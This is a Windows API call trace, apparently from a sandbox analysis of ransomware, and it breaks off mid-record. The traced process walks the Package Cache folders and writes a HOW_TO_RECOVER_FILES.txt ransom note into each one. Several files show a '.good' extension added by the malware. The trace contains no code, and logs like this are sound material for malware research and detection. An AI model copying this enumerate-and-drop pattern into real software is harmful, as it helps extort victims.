GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8b [0147.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0147.908] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.909] GetFileType (hFile=0x630) returned 0x1 [0147.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0147.909] GetFileType (hFile=0x630) returned 0x1 [0147.910] WriteFile (in: hFile=0x630, lpBuffer=0x38ad5d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x38ad5d8*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0147.911] CloseHandle (hObject=0x630) returned 1 [0147.911] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0147.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0147.911] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.912] GetFileType (hFile=0x630) returned 0x1 [0147.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0147.912] GetFileType (hFile=0x630) returned 0x1 [0147.912] WriteFile (in: hFile=0x630, lpBuffer=0x38b0f00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x38b0f00*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0147.913] CloseHandle (hObject=0x630) returned 1 [0147.914] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6b [0147.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0147.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.915] GetFileType (hFile=0x630) returned 0x1 [0147.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0147.915] GetFileType (hFile=0x630) returned 0x1 [0147.915] WriteFile (in: hFile=0x630, lpBuffer=0x38b47f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x38b47f8*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0147.916] CloseHandle (hObject=0x630) returned 1 [0147.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0147.917] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpFilePart=0x0) returned 0x53 [0147.917] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.917] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.917] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3789214f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x378b81bc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.917] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0147.917] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0147.917] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0147.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0147.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0147.918] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpFilePart=0x0) returned 0x53 [0147.918] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.918] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.918] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3789214f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x378b81bc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.918] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0147.918] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.919] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0147.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0147.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0147.919] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0147.919] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.919] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.919] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3789214f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0147.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0147.920] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0147.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0147.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0147.920] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages", lpFilePart=0x0) returned 0x5c [0147.920] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.920] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3789214f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3789214f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3789214f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.921] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0147.921] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.921] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0147.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0147.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0147.994] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x76 [0147.994] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.995] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x376a22b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59bdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377f956e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0147.995] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0147.996] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0147.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec540) returned 1 [0147.996] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x202ebfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x76 [0147.996] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x202ec260 | out: lpFindFileData=0x202ec260*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0147.996] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.996] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x376a22b9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59bdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab.gоod", cAlternateFileName="CAB1CA~1.GOD")) returned 1 [0147.996] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377f956e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x377f956e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0147.997] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: 